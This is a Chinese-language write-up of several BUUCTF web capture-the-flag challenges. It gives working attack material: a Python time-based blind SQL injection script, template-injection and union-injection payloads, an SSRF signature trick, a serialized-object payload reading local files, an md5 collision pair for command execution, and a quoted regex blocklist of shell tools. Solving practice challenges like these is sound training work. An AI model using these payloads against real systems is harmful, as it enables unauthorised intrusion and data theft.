BUUCTF Web Writeup Part1 <简单部分>

BUUCTF Web Part1

[护网杯 2018]easy_tornado

进去给了三个页面,并提示flagflag in /fllllllllllllag

显然要找到任意文件读取处,又在hint中看到md5(cookie_secret+md5(filename))。url有一个filehash,应该就是这个算法。

还有一个错误页面,url有msg=ERROR,修改了一下发现页面也改变,猜测有Render,尝试模板注入。

输入

{{handler.settings}}

可以查看tornado的一些参数,包括cookie_secret。

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '5e8306b3-7ae1-45b4-9116-d0fe4c02eacd'} 

然后读取文件就可以了。

db6fc544-8be8-4438-9c50-638366f85ec33bf9f6cf685a6dd8defadabfb41a03a1
做个md5

flag{44fc3be2-b981-4e3e-addb-65fd6fca1759}

[CISCN2019 华北赛区 Day2 Web1]Hack World

给了个sql让你注入。过滤了以下内容:

空格 and # 等等

直接用sleep盲注,套路这样子:如果猜对了就造成一秒延迟

sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))

于是可以编写Python脚本了(老套路。

import requests

def timeblind(url):
    flag = 'flag{'
    while True:
        find = False
        for i in '0123456789abcdefghijklmnopqrstuvwxyz{}_': #字母表
            #盲注语句
            data = {'id':"sleep((select(flag)from(flag)where(flag)like('f%'))like('{i}%'))".format(i=flag+i)}
            print(data)
            try:
                requests.post(url=url,data=data,timeout=1)
            except:
                flag=flag+i
                print('[*]%s'%flag)
                find = True
                break
        if i=='}':
            break
        #防止找错
        if not find:
            flag = flag[0:-1]
    print('[+]%s'%flag)

url = 'http://d53059c8-8795-4474-bdea-e66790292e91.node3.buuoj.cn/index.php'
timeblind(url)

flag{5957e413_b9a1_439f_8a23_28a749be15dc}

[De1CTF 2019]SSRF Me

Hint: flag is in ./flag.txt

SSRF,以服务器做跳板访问敏感文件。首先题目给出了源码

#初始化语句

app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
      
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

审计可知,我们可以通过scan函数获取任意文件(即flag.txt),但是要满足:

getSign(self.action, self.param) == self.sign

其中:
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))

action可以是scan和read,只有read in self.action才能读取数据

而函数getSign有一个我们不知道的secret_key
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
  
还有一个获得sign的方法,但这个action是scan
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  

注意到代码这里判断有漏洞。 read in self.action的判断,不能保证self.action就是read,只要包含read即可。于是把这些限制条件放在一起,构造:

  xxx + param + action (getSign)
  xxx + param + scan  (geneSign)
  相等
  
  xxx + flag.txt + readscan == xxx + flag.txtread + scan  就满足了。

于是在geneSign中,param=flag.txtread,获得md5 0c1e730e3608cfbe60ca3d25eeb72e34

再在挑战中把相应的action和sign写好,就可以获得flag了。

flag{01fdf84a-9c71-433e-8740-3f8b1920905e}

[网鼎杯 2018]Fakebook

扫描了一下目录,发现备份文件,想要利用curl但是输入有waf。

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }

    public function getBlogContents ()
    {return $this->get($this->blog);}

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

黑盒测试发现了get和post的注入点。post注入在注册页面,用BurpSuite抓包放到sqlmap里面dump了数据库,发现存储的是php的反序列化。

从get这个注入点输入数据,绕过waf直接使用curl。

首先用order by 测试字段数。

然后union测试下每个字段都存储了什么(实际上dump的时候已经知道了)

/view.php?no=0/**/union/**/select 1,2,3,4

发现4处应该拥有一个反序列化字段,于是就可以构造

/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这样子通过干涉数据库返回的结果,进行了SSRF。

flag{3d7eede2-28fc-4421-8e7e-46a079f0fd37}

[安洵杯 2019]easy_web

这道题告诉我们,遇到可疑的参数一定要多试探试探

上来只给了一个页面,有一个cmd和img参数。测试了cat,ls等一些命令,有的回显forbid,有的回显md5 is funny。

img很像base64,两次b64解密一次hex解密得到555.png,于是尝试文件包含漏洞。

用index.php加密后包含,把返回的字串再解密,获得php内容

';
    die("xixi no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

是一个md5碰撞,随便找一个(注意post的时候要在参数里面写,不能直接粘贴)

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

cmd用base64命令就可以绕过了。

image

flag{decd145e-ca34-4623-b75a-a9c07b4f3b94}

[极客大挑战 2019]BuyFlag

pay.php页面发现了注释隐藏代码

~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number
"; }elseif ($password == 404) { echo "Password Right!
"; } }

首先把cookie的user=0改成1试试

然后利用弱类型比较,password传入404s就可以了

接下来还让你pay for flag。没有什么线索,post一个money=100000000试试,结果输入这个数字就过长,小于这个数就不够。十六进制也不好使,说明不是用大于号判断的。

可能是判断了位数,或者strcmp了一下。传入一个数组money[]=0试试,成功拿到flag

flag{eb549aa7-5a6f-4c07-9d2e-6d50299c15bc}

[极客大挑战 2019]Http

这道题告诉我们,可以在源代码里面搜索.php的文件,说不定就在注释中发现了呢

首先扫了一通,没发现什么有用的东西。。。看了下提示,发现在源代码中找到了一个Secret.php,可以跳转!

于是进去,要求改referer.

referer: https://www.Sycsecret.com

改完之后,有要求用规定浏览器。

User-Agent: Syclover

接下来提示No!!! you can only read this locally!!!

X-Forwarded-For: 127.0.0.1

就可以了。

flag{a188def4-715f-4370-b999-e1b5b3e3b009}

你可能感兴趣的:(BUUCTF Web Writeup Part1 <简单部分>)